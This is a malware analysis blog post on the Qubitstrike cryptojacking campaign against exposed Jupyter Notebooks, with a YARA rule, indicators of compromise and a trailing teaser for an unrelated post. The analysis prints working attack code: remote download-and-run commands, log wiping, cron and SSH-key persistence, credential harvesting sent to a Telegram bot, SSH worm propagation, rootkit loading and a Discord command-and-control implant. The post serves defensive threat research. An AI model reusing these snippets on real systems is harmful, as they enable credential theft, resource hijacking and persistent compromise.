October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

Retrieving and executing the XMRig miner
Registering cron persistence and inserting an attacker-controlled SSH key
Retrieving and installing the Diamorphine rootkit
Exfiltrating credentials from the host
Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

executing the miner at reboot
executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
executing mi.sh on a daily basis

cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”, however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

VP, Security & AI Strategy, Field CISO

•

May 7, 2026

Toby Lewis

Head of Threat Analysis

Watch the NIS2 Webinar

Blog

May 8, 2026

The Next Step After Mythos: Defending in a World Where Compromise is Expected

Is Anthropic’s Mythos a turning point for cybersecurity?

Anthropic’s recent announcements around their Mythos model, alongside the launch of Project Glasswing, have generated significant interest across the cybersecurity industry.

The closed-source nature of the Mythos model has understandably attracted a degree of skepticism around some of the claims being made. Additionally, Project Glasswing was initially positioned as a way for software vendors to accelerate the proactive discovery of vulnerabilities in their own code; however, much of the attention has focused on the potential for AI to identify exploitable vulnerabilities for those with malicious intent.

Putting questions around the veracity of those claims to one side – which, for what it’s worth, do appear to be at least partially endorsed by independent bodies such as the UK’s AI Security Institute – this should not be viewed as a critical turning point for the industry. Rather, it reflects the natural direction of travel.

How Mythos affects cybersecurity teams

At Darktrace, extolling the virtues of AI within cybersecurity is understandably close to our hearts. However, taking a step back from the hype, we’d like to consider what developments like this mean for security teams.

Whether it’s Mythos or another model yet to be released, it’s worth remembering that there is no fundamental difference between an AI discovered vulnerability and one discovered by a human. The change is in the pace of discovery and, some may argue, the lower the barrier to entry.

In the hands of a software developer, this is unquestionably positive. Faster discovery enables earlier remediation and more proactive security. But in the hands of an attacker, the same capability will likely lead to a greater number of exploitable vulnerabilities being used in the wild and, critically, vulnerabilities that are not yet known to either the vendor or the end user.

